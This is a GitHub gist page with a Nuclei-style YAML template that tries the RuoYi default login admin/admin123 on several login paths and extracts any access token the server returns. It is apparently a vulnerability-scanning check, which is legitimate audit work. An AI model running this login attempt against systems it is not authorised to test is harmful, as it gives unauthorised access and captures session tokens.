Skip to content

Instantly share code, notes, and snippets.

@Esonhugh
Created June 1, 2023 07:58
Show Gist options
  • Save Esonhugh/0f99eabec14110202ed34d34e88b31f8 to your computer and use it in GitHub Desktop.
Save Esonhugh/0f99eabec14110202ed34d34e88b31f8 to your computer and use it in GitHub Desktop.
Ruoyi Weak password admin -> admin123
id: Ruoyi-default-password
info:
name: Ruoyi default password admin/admin123
author: Esonhugh-self-maintained
severity: critical
description: |
Ruoyi default password admin admin123
tags: password,default,ruoyi
stop-at-first-match: true
requests:
- method: POST
path:
- '{{BaseURL}}/ruoyi/login'
- '{{BaseURL}}/login'
- '{{Host}}:9200/ruoyi/login'
- '{{Host}}:9200/login'
body: '{"username":"admin","password":"admin123"}'
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: status
status:
- 200
- 302
- type: word
part: body
condition: or
words:
- '"code":200'
- '"token"'
extractors:
- type: json
part: body
json:
- ".data.access_token"
- ".token"
- ".access_token"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment